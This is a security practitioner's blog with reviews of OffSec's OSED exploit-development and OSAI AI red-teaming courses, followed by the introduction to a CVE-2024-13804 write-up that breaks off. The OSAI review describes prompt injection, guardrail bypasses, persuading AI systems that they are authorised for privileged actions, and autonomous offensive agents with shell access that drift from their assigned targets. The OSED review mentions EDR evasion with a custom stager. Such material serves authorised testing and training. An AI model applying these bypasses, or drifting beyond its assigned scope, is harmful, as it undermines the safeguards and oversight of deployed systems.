![](https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2Fgit-blob-5cc32703b6acb5d173f6d44597d5e9c0bbf64aa9%2F165242633855.png?alt=media) ![](https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2Fgit-blob-b005897b867a83983d474818e24121872b107e0a%2F165242632799.png?alt=media)

In this course review, I will cover course contents and tips and tricks from my personal course experience.

### Overview

The main focus area of OSED is binary exploitation, with topics like:

* Dynamic analysis with WinDbg;
* Buffer Overflow;
* SEH Overflow;
* Egghunting;
* Reverse engineering/static analysis with IDA FREE;
* Memory protection bypasses, such as ASLR and DEP;
  * DEP bypass via ROP Chaining;
  * ASLR bypass via memory leak/bruteforcing/creative function abuse...
* Writing Custom Shellcode;
* Format String Attacks;

You can find the table of contents at the following link:

<https://www.offensive-security.com/documentation/EXP301-syllabus.pdf>

The course covers the entire binary exploitation process, from protocol analysis and vulnerability discovery via reverse engineering with IDA Free and WinDbg to developing an exploit with custom shellcode and encoding. There is a strong focus on assembly and various tricks to overcome certain problems.

OSED was by far the exam I dreaded the most, as my binary exploitation skills were limited to OSCP-style buffer overflows and public proof of concepts at that time. This course was definitely going to push me to my limits.

### Planning

I've got to be honest here. Even though I officially purchased the course at the end of December, it took me until after the holiday period to finally gather up the courage to begin. This may or may not have been because I promised my girlfriend to ditch my computer during the holidays after an incredibly busy end of 2021.

One of the first things I did, was to book the exam date for the 2nd of May. I did this because of two reasons:

1. Exam spots fill up pretty quickly. Either plan ahead if you would like to take the exam on a certain hour of day, or be flexible and regularly check if someone canceled. I would recommend the former;
2. Planning the exam ahead gives you an end date, which in turn gives you something to look forward to. This also puts some pressure, which forces you to commit your hours;

In the first month, I managed to cover everything up to chapter 6 (egghunters). I spent my days working and my evenings and weekends studying. I progressed slowly but surely and took my time with the extra miles. These exercises challenge you to build on top of the course knowledge and solve issues independently. In case of Offensive Security, it feels like they kick of the training wheels and push you down the hill, #TryHarder style.

However, the next two months proved incredibly busy at work and I barely advanced. With one month to go until the exam date, I realized I had to either reschedule the exam or turn on the turbo. There was no way I was going to pass the exam without putting in sufficient hours to completely understand the topics. I decided to halt all other activities, request some free time at work and spend every single free hour of April on this course.

On average, I would say that it took me a total of 2 months of disciplined study, spending at least 6 hours/workday and two entire days every weekend. The most important part here is to make a realistic planning for yourself and keep in mind that life happens. I would recommend to book the exam at least 4 months ahead to give yourself enough time to practice.

### My Course Experience

I received quite a few questions about the course prerequisites. The truth is, people of all sorts of backgrounds and experiences start this course and some may find it harder than others. Though, one trend I noticed on Discord is that even guys who did the old OSCE sweat on the reverse engineering part of the course. Here is an overview of my relevant experience, before I started the course:

* I did the old OSCP, which included basic stack buffer overflows. This is also where the EXP-301 course begins;
* I learned some assembly at school 6-7 years prior to starting the course, though this was a very limited instruction set. It definitely helped me understand the basics, but the course goes way beyond this;
* I did two junior reverse engineering CTF challenges in the past, though they were more about bypassing something (like a license check) instead of code execution. I used OllyDbg for both;
* I had some Windows API knowledge from the OSEP certification and Red Team tool/implant development. This included basic C, C++ and C# experience. **I was in no case a low-level programming wizard**;
* Custom shellcode was like dark magic to me;
* Apart from OSCP (Immunity Debugger) and two OllyDbg uses, I had no low-level code debugging experience;

In every chapter, most of the concepts were new to me, but they are explained thoroughly. In my opinion, the course knowledge and exercises are sufficient to pass the exam. I did not use any additional platforms/exercises to practice, nor did I even complete all of the extra miles. I simply did not have the time. However, it is still recommended to do these.

Where the course was perhaps lacking a bit, was the assembly knowledge. Nonetheless, Connor McGarr ([@33y0re](https://twitter.com/33y0re)) produced a huge collection of high-quality binary exploitation writeups on [his blog](https://connormcgarr.github.io), containing lots of tips and tricks on chaining gadgets with lesser-known assembly instructions and required compensation gadgets to bypass DEP and ASLR. Definitely check out his articles and try to get yourself familiar with as many "strange" assembly instructions as possible!

Upon completion, my key takeaways from this course were:

* Learn how to write, manipulate and encode custom shellcode on assembly-level. I guess I can now expand on the knowledge from the course book to replace the function resolver with Hell's gate, Halo's Gate or Tartarus Gate techniques to bypass EDR hooks;
* Learn how to write your own shellcode generator and disassembler. Quite sure this will come in handy on the next red team engagement as an initial stager!
* Learn how to Reverse engineer protocols and hunt for vulnerabilities in lower-level programming languages. I will likely apply this knowledge later on Red Team engagements and in bug bounty. The learning curve was steep, but I've started to enjoy WinDbg and IDA;
* Master how to bypass DEP and ASLR. The knowledge from the course immediately helped our team write a custom Cobalt Strike stager, chain it with a ROP chain to bypass DEP and load a beacon directly in memory of the target process from a buffer overflow exploit. This actually evades some EDRs if you avoid RWX memory!
* Expand assembly knowledge and develop a methodological approach when confronted with unknown instructions;
* Improve Python binary exploit scripting skills to chain multiple vulnerabilities and achieve remote code execution;

From a red team perspective, I think this course can be a real added value and I would very much recommend it!

### Community

You are not alone in this certification. There is an awesome [Discord community](https://discord.com/invite/offsec) with all sorts of people going through the same pain and sharing tips & tricks to nudge you in the right direction, without giving you the final solution. Definitely check it out!

A few people also share scripts. I found [epi's GitHub repository](https://github.com/epi052/osed-scripts.git) to be the most useful. There are some great examples of things you would like to automate. I extensively used the attach-process.ps1 and took some of the other scripts as base to build my own tools. Don't forget to give this guy a follow and the repo some stars. Thanks, epi052! Fair warning: do not use these scripts blindly, but rather try to understand them and implement your own variation!

Additionally, I would absolutely recommend a custom WinDbg dark theme, like the one from [nextco's GitHub repository](https://github.com/nextco/windbg-readable-theme). This one is much more readable and less tiring for the eyes. Trust me, in a 48-hour exam this makes a huge difference.

On Discord, there is also a user named b0ats, who developed an awesome framework to search for high-quality ROP gadgets based on rp++ output. This script suite is not open source at the time of writing, but I learned a ton about gadget filtering and assembly variations to achieve certain tasks from his input. @b0ats, if you read this, thanks!

<div align="left"><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2Fgit-blob-ca37e210a0614f1e48422f68f89b937fb8eb2904%2Fimage%20(52).png?alt=media" alt=""></div>

Special shoutout also goes to ApexPredator, JustinSteven and PopPopRet. They gave me some #TryHarder-style nudges in the right direction when I was stuck, and took the time to explain some concepts. Thanks, guys!

<div align="left"><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2Fgit-blob-176dbc3bc9d571360e6e9cac5e9dc03d69150603%2Fimage%20(53).png?alt=media" alt=""></div>

<div align="left"><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2Fgit-blob-ab914a985aba30f85d8cf0c18bf21e2a3b258022%2Fimage%20(54).png?alt=media" alt=""></div>

<div align="left"><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2Fgit-blob-7a0560050fd7f60f065633c9070a07ce3b42fce4%2Fimage%20(55).png?alt=media" alt=""></div>

### Custom Tools

Automate all the things. Really, you should. I found myself quite a few times in a situation where I was doing tiring, error-prone repetitive work. Do not waste precious exam-minutes on this. I listed a few things I automated.

#### ROP gadget identification and categorization

The course recommends rp++ to build a list of ROP gadgets to bypass DEP. However, this results in an unfiltered list, taking the target module's preferred base address as starting address. There are other tools available, but they often require you to download the binary file to your kali machine, which is by default not permitted as per course policy.

You could also use regexes to filter for interesting gadgets, like the one below that would highlight mov instructions from any register to eax:

```
^0x[0-9a-fA-F]{8}: mov eax, [a-Z]{3} ; ret  ;
```

This still requires a lot of time, and you can easily miss good gadgets or variations that achieve the same (e.g. xchg eax, \[other register]). I wrote a long and dirty script to filter the rp++ output txt for high-quality (short & with limited side effects) gadgets, removing addresses with bad characters and taking ASLR into account if specified.

When you add the ASLR argument, the script also replaces part of the address automatically with "dllBase+" to make it easy to copy and dynamically recalculate the base address in your exploit. However, this requires the image base address rp++ used for its output, which can be passed with --image-base. Try not to waste time on this on your exam as this is heavily prone to human error.

You can find my script [here](https://github.com/0xbad53c/osed-tools/blob/main/filter-ropfile.py).

#### Rp++ image base discovery

Rp++ does not output the image base for the resulting rop gadgets. Therefore, I wrote a simple script that you can drop on the dev machine and run on the same module as rp++ to find out which dll base address rp++ used in its output file. The output of this script can be used as --image-base for filter-ropfile.py. Run this on Windows to not violate exp-301 course policies.

You can find my script [here](https://github.com/0xbad53c/osed-tools/blob/main/filter-ropfile.py).

#### Ad-hoc gadget filters

Similar to the large script described above, I created live lookup scripts as well. These were simple regex wrappers with a length filter, searching rp++ output and returning a specified number of gadgets, sorted from shortest to longer. The following example allows you to search for add instructions (or adc) between 2 specified registers and returns the shortest gadgets first:

```
def add(gadget_list, src_register, dst_register):
    gadgets = []
    r = re.compile(r'^0x[0-9a-fA-F]{8}:.*(add|adc) ' + dst_register + r', ' + src_register + r'.*ret')
    long_gadgets = list(filter(r.match, gadget_list))
    gadgets += sorted(long_gadgets, key=len)

    return gadgets
```

#### WindDbg dark theme

I edited the dark-green-x64.wew from nextco's repository to be more compatible with the course, you can find my edited version [here](https://github.com/0xbad53c/osed-tools/blob/main/dark-green-x64.wew). The main differences are:

* Symbols are only resolved locally, as this otherwise hangs the UI for a while when starting WinDbg and attaching to a target process;
* Removed some unused windows. The Workspace now displays the assembly code & command windows like in the course and additionally also an overview of the registers and stack on the right. This greatly improved my work speed and visibility.

In my opinion, this should be the default workspace in the course. Credits to nextco for creating this!

My tools may not be as good as some of the brilliant stuff some people created, but they got the job done. They definitely helped me get a better understanding of the course content and where my scripts lacked, I was still able to quickly get what I needed with regex searches.

### Other Tips

* During the course, pick a challenge and write a report. There are some specific reporting requirements, so familiarize yourself with the reporting template beforehand!
* Write your report as you progress through the exam;
* When reverse engineering, note down your payload restrictions for every code path. You will forget about certain conditions as you progress.
* Take regular breaks on the exam. I took a break ever 2 hours and after every small or big victory. Everyone is saying this and you are no exception. You also need breaks!
* Comment everything, both in IDA and in your scripts. Something may look straightforward to you now, but your future sleep-deprived self might spend expensive exam-minutes or even hours to reverse engineer past thoughts!
* You are not always allowed to download binaries to analyze with IDA. Make sure you know how to do some stuff in WinDbg as well, like how to find IAT addresses. If I recall correctly, there was someone in the Discord chat who failed the exam because he downloaded a binary to resolve IAT entries in IDA.
* If you read between the lines, the course teaches you lots of assembly tricks. Make sure you can work with available ROP gadget instructions. E.g.: How to subtract when only add is available and there is a bad character involved? Can xchg or push pop be used as alternative for the mov instruction? How to compensate for side effect X of a certain assembly instruction?
* In IDA, use color codes e.g.
  * Red for potentially vulnerable memory corruption functions (memcpy, strcpy, memmov...);
  * Yellow for potential memory leaks (fopen, ... , format string functions ....);
  * Green if any of the above functions are deemed not vulnerable;
  * Blue for code paths leading to a vulnerable function;
* In IDA, rename variables and functions as you discover their purpose. Sometimes I even used things like callsmemcpy1 for a function that has a code path to a vulnerable memcpy function. A function calling this function would become calls\_calls\_memcpy1 etc. This was just to help me identify code paths to a vulnerability when the function's purpose was not immediately clear.

### Exam

As with all the Offensive Security exams for the OSCE3 certification path, you are required to complete several practical challenges during a 48-hour exam. At the end, you have 24 hours to finish and send in your report.

I always spend the final days before an exam like this preparing a playbook, as I do not want to spend any brainpower or precious exam minutes on or debugging typing mistakes in commands. The playbook usually consists of 3 parts and I go quite far in this. I included an overview below, to give you an idea:

* Pre-exam preparation:
  * Contact details in case of proctoring/exam issues. No need to waste time on this when already stressing about technical or other issues;
  * Folder prep: 3 assignment folders with the necessary subdirectories, helper scrips, notes markdown file and exploit templates already present. The goal is to just cd into and work in this directory after picking an assignment, with everything in the exact place you expect it to be;
  * Steps to go over before starting the exam, including proctoring login, applying shared folders in your VM, opening the course syllabus and my course notes for easy reference. I also note down what to put on which screen as to not mess with the workflow that I practiced during the course;
  * Commands to run to unpack and launch the vpn, rdp into a machine while exposing an SMB share, PowerShell commands to import a custom WinDbg workspace and import a script to easily attach WinDbg to processes...
* Main playbook:
  * Commands I used during the course for easy copy-paste;
  * WinDbg commands to achieve specific tasks;
  * Rop chain & ASLR bypass tips
  * Procedures to follow when reverse engineering in IDA;
  * Things to try when stuck;
* Post-exam tasks
  * Procedure to zip & upload the required files;

According to the [OSED Exam guide](https://help.offensive-security.com/hc/en-us/articles/360052977212-OSED-Exam-Guide), you must complete at minimum two out of three challenges to acquire a passing score. The final proof of concept exploits should be written in Python3 and included in your final report zip.

I started my exam on the 2nd of May at noon and it was brutal. I spent around 12 hours on the first challenge At 1am, I managed to wrap it up and to sleep. I recommend anyone to sleep at least the first night on every 48-hour OffSec exam. You do have plenty of time to solve the challenges, but you need your full brain capability. The same goes for taking breaks.

The second day, I made sure to finish reporting on the first challenge and started the next one at around 10am. It took until 8pm to finalize that one and wrap up the report. I spent the rest of my exam time on the final challenge.

My final report was >180 pages and I am very proud on some of the stuff I did. As usual, Offensive Security managed to put together a great exam, which challenges you to go above and beyond!

### Conclusion

Offensive Security put together an amazing course on binary exploitation. The course content explains the complex concepts in a way that is quite easy to understand, but don't get me wrong, the pain is real. This certification has been a rollercoaster of emotions. The following message from my study buddy PopPopRet sums it up the journey quite well:

![The Exp-301 experience in a nutshell](https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2Fgit-blob-e4ca20c7f4663b5bb3a891ba82d5e29fcdfb7ea8%2Fimage%20\(56\).png?alt=media)

I cannot begin to describe the feeling when I got word that I passed the Offensive Security Exploit Developer (OSED) exam. After 3 years of dedication, I am now officially an Offensive Security Certified Expert (OSCE3). It was all worth it and left me with a great sense of achievement!

### Other Reviews

* <https://tehwinsam.com/osed/>
* <https://epi052.gitlab.io/notes-to-self/blog/2021-06-16-windows-usermode-exploit-development-review/>
* <https://spaceraccoon.dev/rop-and-roll-exp-301-offensive-security-exploit-development-osed-review-and/>


# OSAI

OffSec AI Red Teamer

After completing the [OSCE3](https://www.offsec.com/certificates/osce3/) journey in 2022, I genuinely thought I was done sitting through 24-hour+ OffSec exams. Since then, I focused mainly on following specialized red team courses, lurking in communities and delivering my own training, [Operational Purple Teaming For Defenders](https://red.0xbad53c.com/training/operational-purple-teaming-for-defenders).

But the IT industry has a way of keeping us sharp. We've all seen the rise of Artificial Intelligence (AI) over the past couple of years. Its possibilities both amazing and frightening. I've been lucky enough to be part of the DXC Strikeforce red team at [DXC](https://dxc.com). Our company builds and integrate AI systems at various layers of the enterprise stack.

We get to benefit from that, testing complex enterprise implementations. This enabled our team to experiment quite a bit and experience rather than just talk about AI capabilities. One one hand, we have an incredible new attack surface of AI-enabled, privileged applications (or entities) that can be socially engineered into going beyond their intended scope. On the other hand, the technology can be a very powerful tool in the hands of a capable cybersecurity team to help secure customers. New challenges await around every corner.

So there I was again: one realistic AI-enabled enterprise environment to compromise, 24 hours on the clock, and a whole new attack surface to dive in. I passed on my first attempt, and this is my honest review of the course and the exam and course.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2F17pG2J9X2xsbSNAsMbO3%2Fimage.png?alt=media&amp;token=ca4cd738-90c8-4729-be96-a689485eb573" alt=""><figcaption><p>OSAI Badge</p></figcaption></figure>

In this course review, I will cover the course contents and the tips and tricks from my personal experience.

#### Overview

The main focus area of OSAI is offensive testing of AI-integrated systems, with topics like:

* Reconnaissance of AI targets (fingerprinting models, RAG pipelines, agent frameworks, MCP/A2A endpoints);
* Attacking single AI agents (direct and indirect prompt injection, memory poisoning, tool manipulation);
* Attacking multi-agent systems (agent impersonation, message tampering, task injection into shared queues);
* RAG pipeline exploitation (ingestion poisoning, retrieval hijacking, embedding attacks);
* MCP tool surfaces (tool description poisoning, tool shadowing, parameter coercion);
* AI supply chain attacks (datasets, model weights, LoRA adapters, CI/CD pipelines);
* Infrastructure-layer attacks (cloud ML services, model servers, Kubernetes orchestration);
* Adversarial machine learning (model extraction, evasion);
* Guardrail and AI-firewall bypasses;
* Threat modeling for AI environments (mapping to MITRE ATLAS, trust-zone diagramming);

You can find the syllabus at the following link:

<https://manage.offsec.com/app/uploads/2026/03/AI-300_Syllabus_33126.pdf>

The course follows a deliberate progression. It starts with foundations and reconnaissance, moves through the "AI-layer" attacks (single agent, multi-agent, RAG, MCP, supply chain), pivots to the infrastructure layer (cloud ML, model servers, Kubernetes, adversarial ML), and finally pulls everything together in a capstone red team engagement against a fictitious enterprise called Megacorphe (OSCP nostalgia). Everything culminates in a 24-hour exam that requires the same skill set as the capstone.

What made OSAI intimidating was not the individual techniques, because there is plenty of prompt-injection content for free online, but the fact that it treats AI as one layer of an enterprise environment. You are not poking at a chatbot in isolation. You are chaining an AI-specific foothold into classic internal network exploitation, lateral movement, and Active Directory, and doing it while orchestrating your own offensive AI tooling. That combination was new to me, and it is exactly where the exam earns its difficulty.

#### Planning

I've got to be honest here. I could not free up the same amount of time for AI-300 as the courses leading up to OSCE3. Though, I have been testing agentic applications since end of 2025, so I went in with a lot of the underlying intuition already in place and treated the course more as a way to systematize what I knew than to learn a field from scratch.

As always, one of the first things I did was book the exam date. I recommend this for two reasons that have held true across every OffSec exam I've taken:

1. Exam spots fill up quickly. Either plan ahead if you want a specific start hour, or stay flexible and keep checking for cancellations. I'd recommend the former;
2. A booked date gives you an end point to work towards and just enough pressure to actually commit your hours;

My honest advice here is the same as always: make a realistic plan and remember that life happens. If AI red teaming is new to you, budget more time than you think. The course covers a lot of ground and the exam expects you to move fluently between AI-specific and traditional attack paths, with some additional stealth requirements in mind.

Additional tip: Don't be like me and conclude that you forgot to [download the course material](https://help.offsec.com/hc/en-us/articles/4406821074196-How-to-Download-Course-Materials-from-the-Learning-Library) in the week before your exam. In my defense, the download was not working at the time I tried! Luckily, I was able to e-mail OffSec support and they had my back. It gives me peace of mind, knowing I can grep through the course PDF when I run out of inspiration during the exam.

#### My Course Experience

As with every OffSec course, people of all backgrounds start this one and some will find it much harder than others. The syllabus itself is explicit that it assumes classic penetration testing skills at the OSCP/PEN-200 level and then extends them to AI-specific targets. This is *not* a beginner AI course. Here is my relevant background before starting:

* Nine years of web application pentesting, infrastructure testing, and red team operations;
* I hold [OSCE3](https://red.0xbad53c.com/training-reviews/offensive-security/osed) (OSWE + OSEP + OSED);
* I've been testing agentic applications, so prompt injection and tool abuse were already part of my toolkit;
* I have spent a  some time building and breaking LLM-backed systems in my own home lab on an RTX 3090. This is great if you want to familiarize yourself with the basics;
* I use Claude Code intensively (almost daily since Opus 4.5) and GitHub Copilot, so driving AI tooling felt natural. **This turned out to be one of the most important skills**;

In every module the concepts are explained thoroughly, and for the classic red team portions the course knowledge and labs are more than sufficient. The AI-specific material is well grounded in how these systems actually fail in production rather than in toy demos, which I appreciated.

Where I felt the course was lacking a bit was in its early pacing. The content starts slow and leans heavily on low-level `curl` interactions to hammer home how each layer works. That is great for understanding, but on a real engagement, you do not want to be hand-crafting individual `curl` requests against a dozen endpoints. I would have loved to see each chapter end with an "advanced" step that has you fold the technique into your own agentic harness or vibe-code your own tool, rather than leaving that as an exercise for the reader. If you come from a strong offensive background, expect to do that consolidation work yourself #TryHarder.

To fill the theory gaps, there is a wealth of free, high-quality material out there. Unlike most areas of security, the state of the art in AI red teaming largely lives in freely available academic papers. The [OWASP Top 10 for LLM Applications](https://genai.owasp.org/) is a good jumping-off point, and platforms like [Lakera's Gandalf](https://gandalf.lakera.ai/) (now AgentBreaker) and Microsoft's AI red teaming playground are excellent for building intuition on prompt injection and guardrail bypassing.

Upon completion, my key takeaways from this course were:

* Learn to enumerate the full AI stack the way an attacker does: model identity, RAG parameters, agent tool schemas, MCP/A2A endpoints. On real engagements, the interesting attack surface is almost always in the actions that are delegated to the LLM (tool calls);
* Demonstrate the impact of prompt injection. A successful injection is only valuable if it leads to a tool call, a credential, or a pivot;
* Understand how guardrails and AI firewalls actually work (they are pattern-matchers and classifiers with blind spots) so you can reason about bypasses generically rather than memorizing payloads. You learn how to do this manually, but it would have been great to automate this partially with the use of an LLM. I often reach to an AI to identify working guardrail bypasses against another model. Doing this manually often takes a long time.
* Treat authorization as a first-class target. I see a lot of authorization issues in real AI deployments. Agents and tools run with far more privilege than the user driving them. Sometimes we even observe the authorization being offloaded to the LLM, so it just takes some persuasion to convince the AI it is allowed to perform privileged actions;
* Build and operate your own offensive AI tooling. Orchestrating multiple offensive agents at once is genuinely powerful, but it is a skill in itself;
* It was very cool to see the AI attack vectors linked to traditional exploitation and lateral movement paths.

From a red team perspective, I think this course is a real added value and I would very much recommend it. If you're an offensive security professional watching AI get deployed everywhere and wondering where the field is heading, this is the direction.

#### Community

You are not alone in this one either. There is an active [OffSec Discord community](https://discord.gg/offsec) with dedicated `#ai-300` module and challenge-lab channels where people going through the same material trade tips and nudge each other in the right direction, without handing over solutions. Definitely check it out.

Because OSAI is a newer certification, a lot of the most useful preparation material comes from the handful of people who sat it early and wrote up their approach. I leaned on several of these and would recommend all of them:

* **SomeCanadian**'s [OSAI review](https://somecanadian.medium.com/ai-300-osai-review-my-experience-with-offsecs-ai-red-teaming-certification-13c4bd719c0a) is a detailed account of the exam experience. I took his tip on strict loot management to heart. Make sure to track every piece of information you get your hands on.
* **ph03n1x** wrote an excellent [black-box preparation writeup](https://ph03n1x.net/passing-osai-blackbox-how-i-prepared-for-offsec-ai-red-team-exam/). His advice on disciplined evidence collection during testing and on planning a real sleep break in the middle of the exam is spot on. During the exam, you are often time-pressured and busy controlling multiple AI agents working on separate tasks. Some may try to drift off to different work or find things you need to inspect more closely. Ensure everything gets logged in detail. You will need this during reporting!
* **Zamrax**'s [osai-exam-copilot](https://github.com/Zamrax/osai-exam-copilot) is a clean toolkit of operating instructions, ledger templates, and report tooling. It's a great skeleton to adapt. Give it a star. I combined some elements of this with other knowledge to write one, consolidated instructions file.
* Eliahhango's [Jailbreaking Master Guide OSAI notes](https://github.com/Eliahhango/Jailbreaking-Master-Guide/blob/master/OSAI.md) are a handy reference for prompt-injection and jailbreak patterns to have in your back pocket;

Note: do not use any of these scripts or workflows blindly. Try to understand them and implement your own variation. That understanding is exactly what the exam tests.

#### Custom Tools

Automate all the things. Really, you should. This is even more true for OSAI than for the binary-exploitation exams, because the sheer volume of data flying at you is enormous: model responses, tool outputs, agent logs, network enumeration. Processing it under exam pressure is a skill in itself.

The course walks you through reconnaissance one `curl` at a time. That's the right way to learn it, but it's a terrible way to operate, so I wrapped the whole recon methodology into a small tool, focused on giving me an HTML report with necessary information whenever encountering an AI-enabled target.

Don't be like me. it was a horrible, vibe-coded mess focused on a human interpreting the results. Instead, code something your AI can use to get better results quicker!

**An agentic operator harness**

OffSec explicitly permits and encourages AI tooling on the OSAI exam. I built my own agentic harness: a mix of everything in the community toolkits plus my own day-job experience. It was not perfect or production-ready. For instance, the AI had access to execute direct bash commands rather than wrapping some things in restricted MCP servers. I felt that this flexibility was needed for the exam. So my agents acted as persistent red team operators with direct shell access, a durable file-based state ledger, and a fleet of focused subagents for parallel work across both attack chains.

A few hard-won lessons from operating it under exam conditions:

* **Give each agent a durable, file-based memory and a strict role.** My operator instructions had every session start by re-reading the target and credential ledgers and the current report state to understand where we were and tthen continue from durable state rather than reconstructing context from chat history. This is what let me run many sessions over \~24 hours without losing the thread;
* **Agent drift is real.** Left unattended, longer-running agents wander off and start attacking things that aren't their assignment. When you instruct them to focus on a target in attack chain 1, they may give up after a while and reason that you want them to select some other target. However, meanwhile you already compromised this other target and they just waste tokens going in circles. Keeping every agent focused is a constant, active effort. Short, well-scoped tasks with clear success and failure indicators beat one giant "go compromise everything" prompt every time;
* **You must build it yourself to trust it.** If you want to operate effectively here, you need tooling you built and understand. When an agent chases noise, you have to recognize it instantly, and you can only do that if you know how the harness thinks. Make sure to test your harness in the capstone red team engagement or in the challenge labs;
* **One the exam, use the most capable model.** I made the mistake of trusting a mid-tier model in the beginning, since it was giving me decent results on some targets I had tested it against before the exam. However, on the exam itself, I quickly noticed that it lost focus and gave up earlier during some attacks. Overall, I spent around $300 on tokens during the exam and $250 for the reporting part, after switching to the most capable model.

I'm deliberately keeping this general. The value is in the approach, not in any exam-specific payload. My tools may not be as polished as some of the brilliant stuff others have built, but they got the job done, and building them is where most of my actual learning happened.

#### Other Tips

* Read the exam guide and reporting requirements *before* you start studying, and familiarize yourself with the report format. OSAI wants a professional red team report as a PDF, archived into a password-less `.7z` under 100 MB, with every query included as text and everything reproducible copy/paste style;
* Write your report as you go. This is doubly important on OSAI because you also have to comb through the logs of every AI agent you ran to make sure you captured every attack that actually happened. Your agents did things. You understood what it did. But you need to know exactly what it tried, executed, and cite it in the report;
* I wanted to proxy everything through Burp. The idea was to route every web app-related tool and every exploitation attempt through a single proxy so you have one authoritative record of what hit the target. However, then my AI decided to start several parallel bruteforce attempts, which froze my kali machine and crashed my Burp Suite community edition. HTTP logs gone...
* Do not let AI control [Sliver](https://sliver.sh). Sliver is a fantastic, capable C2 framework, also demonstrated during the course. However, it has happened to me on multiple occasions that and LLM starting connecting to Sliver to list beacons or attempt to execute commands. Every single time, this caused my machine to freeze, lag or become unstable. Yes, also on the exam.
* Ensure your VM has sufficient resources: Disk space will fill up with AI logs, memory and processors are needed for your tools. I had 8 cores and 16GB of RAM, but still experienced issues.
* Practice strict loot management. Track where each credential, token, and artifact was found and everywhere you subsequently tested it. In an environment with multiple chains converging on a shared objective, this bookkeeping is the difference between a clean chain and hours of confusion;
* Take breaks and eat healthy. I took a break every couple of hours. I did not sleep, because staying awake 24 hours was doable. However, you do need to take a step back at regular intervals. If you go the night without sleep, make sure to eat another meal to keep going! I always prep a meal with lots of vegetables that I can heat up and eat any time of day.
* Validate everything your AI produces. An assistant can generate a fluent, technically convincing explanation. Every finding still needs an operator who knows what a real attack path looks like. Especially during reporting, the LLM does not always give you the exact commands executed. Sometimes I got hallucinated output which looked like it could work;

#### Exam

The OSAI exam is a hands-on, 24-hour practical AI red team engagement, followed by an additional 24 hours to write and submit your report.

The publicly-described shape of the exam is: a realistic AI-enabled enterprise you need to compromise, scored out of 100 points, with 75 required to pass. Points come from a mix of AI-vector and traditional-vector objectives, so you genuinely cannot pass on AI skills alone. You need the classic internal exploitation, lateral movement, and Active Directory tradecraft too. The report is scored alongside the technical result: findings only count if they're documented well enough for a skilled attacker to reproduce them.

As with every OffSec exam, I spent the final days before it building a playbook so I wouldn't waste brainpower or precious exam-minutes on typos or setup. Mine had three parts:

* **Pre-exam preparation:** proctoring/support contact details; a pre-built workspace with target and credential ledgers, note templates, and report skeleton already in place; a setup script to stand up the folder structure, my recon harness, and my agentic operator harness with a single command; and the exact steps to connect the VPN/Tailscale and lay out my screens the way I'd practiced;
* **Main playbook:** copy-paste command references from the course; recon and enumeration workflows; a checklist of AI-specific techniques to try per layer (agent, RAG, MCP, infra); and a "things to try when stuck" list; Every command I do not need to waste brainpower on during the exam, goes on the list! I even practice what will be on which screen (kali machine, report, notes, browser) so I can use muscle memory!
* **Post-exam tasks:** the procedure to comb every agent log for captured attacks, and to build, verify, and upload the `.7z` report. After 24 hours without sleep + 24 hours of report-writing and perfecting, you do not want to think about this stuff.

I started at mid-morning and, as with all these exams, it was intense. It was a very cool experience to be orchestrating multiple offensive agents across two attack chains simultaneously, with an enormous amount of data to triage. I finished comfortably above the passing threshold.

The report was its own challenge, and I want to stress this because it caught me a little off guard: beyond documenting findings, you have to reconstruct what your agent did from their logs. When you run a fleet of autonomous tools for a day, "what actually happened" is not fully in your head in technical details. This was a very different experience compared to other OffSec exams, where you identify, write and perfect every exploitation step yourself. Budget enough time for this.

#### Conclusion

OffSec put together an excellent, timely course. The content is exactly what the industry needs right now, and it was rewarding to take my day-job experience testing AI systems and put it to work in OffSec's exam environment while still walking away having learned a lot.

Here's my biggest takeaway: there's a growing narrative that AI has become so capable it can simply automate our job. This course and exam proved the opposite to me. The agents didn't replace my expertise, they amplified it. Every finding still required an operator who knows what a real attack path looks like, who can spot when an agent is chasing noise, and who can steer the operation toward what actually matters. AI raises the ceiling for skilled practitioners; it doesn't remove the need for them. If anything, the people who master orchestrating these tools will be more valuable, not less.

I genuinely thought OSCE3 was the end of my 24-hour OffSec exams. I'm glad I was wrong. If you're an offensive security professional and AI is showing up everywhere in your engagements, this is the direction the field is heading. Highly recommended. #TryHarder.

#### Other Reviews

* <https://somecanadian.medium.com/ai-300-osai-review-my-experience-with-offsecs-ai-red-teaming-certification-13c4bd719c0a>
* <https://ph03n1x.net/passing-osai-blackbox-how-i-prepared-for-offsec-ai-red-team-exam/>
* <https://lazyhackers.in/article/osai-complete-guide-2026>


# RCE In HPE Insight Cluster Management Utility (CVE-2024-13804)

I discovered an unauthenticated RCE in HPE CMU in 2023 by weaponising the Java client application against the server. The techniques discussed here, can also be applied to other Java applications.

## TL;DR

An unauthenticated remote code execution vulnerability exists in HPE Insight Cluster Management Utility (CMU) v8.2 (<https://www.hpe.com/psnow/doc/c04111735>), which allows an attacker to bypass authentication and execute commands or code on the backend. CVE ID assigned: [CVE-2024-13804](https://nvd.nist.gov/vuln/detail/CVE-2024-13804).

## Introduction

Hewlett Packard Enterprise (HPE) Cluster Management Utility (CMU) is a powerful tool designed for managing and monitoring high-performance computing (HPC) clusters. It provides administrators with centralized control over large-scale compute environments, enabling efficient deployment, monitoring, and maintenance of nodes within a cluster. With features like automated provisioning, health monitoring, and workload management, HPE CMU helps organizations optimize their HPC infrastructure for maximum performance and reliability.

